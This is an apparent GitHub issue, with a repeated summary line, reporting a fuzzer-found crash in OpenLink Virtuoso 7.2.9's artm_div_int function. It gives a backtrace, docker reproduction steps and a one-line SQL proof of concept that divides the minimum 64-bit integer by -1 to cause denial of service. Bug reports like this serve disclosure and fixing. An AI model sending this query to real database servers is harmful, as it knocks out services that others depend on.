An issue in the artm_div_int component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT CAST('-9223372036854775808' AS INTEGER) / CAST('-1' AS SMALLINT);
```
backtrace:
```c
#0 0xc227a4 (artm_div_int+0xf4)
#1 0xc23766 (artm_vec+0x7d6)
#2 0x7518c2 (code_vec_run_v+0x10e2)
#3 0x7ac3ff (qn_input+0x38f)
#4 0x7ac8a6 (qn_send_output+0x236)
#5 0x81e26d (set_ctr_vec_input+0x94d)
#6 0x7ac43e (qn_input+0x3ce)
#7 0x7bdc6e (qr_exec+0x11ee)
#8 0x7cb446 (sf_sql_execute+0x11a6)
#9 0x7cbf4e (sf_sql_execute_w+0x17e)
#10 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#11 0xe1f01c (future_wrapper+0x3fc)
#12 0xe2691e (_thread_boot+0x11e)
#13 0x7eff81a0c609 (start_thread+0xd9)
#14 0x7eff817dc133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at artm_div_int
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at artm_div_int
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT CAST('-9223372036854775808' AS INTEGER) / CAST('-1' AS SMALLINT);
```
backtrace:
```c
#0 0xc227a4 (artm_div_int+0xf4)
#1 0xc23766 (artm_vec+0x7d6)
#2 0x7518c2 (code_vec_run_v+0x10e2)
#3 0x7ac3ff (qn_input+0x38f)
#4 0x7ac8a6 (qn_send_output+0x236)
#5 0x81e26d (set_ctr_vec_input+0x94d)
#6 0x7ac43e (qn_input+0x3ce)
#7 0x7bdc6e (qr_exec+0x11ee)
#8 0x7cb446 (sf_sql_execute+0x11a6)
#9 0x7cbf4e (sf_sql_execute_w+0x17e)
#10 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#11 0xe1f01c (future_wrapper+0x3fc)
#12 0xe2691e (_thread_boot+0x11e)
#13 0x7eff81a0c609 (start_thread+0xd9)
#14 0x7eff817dc133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
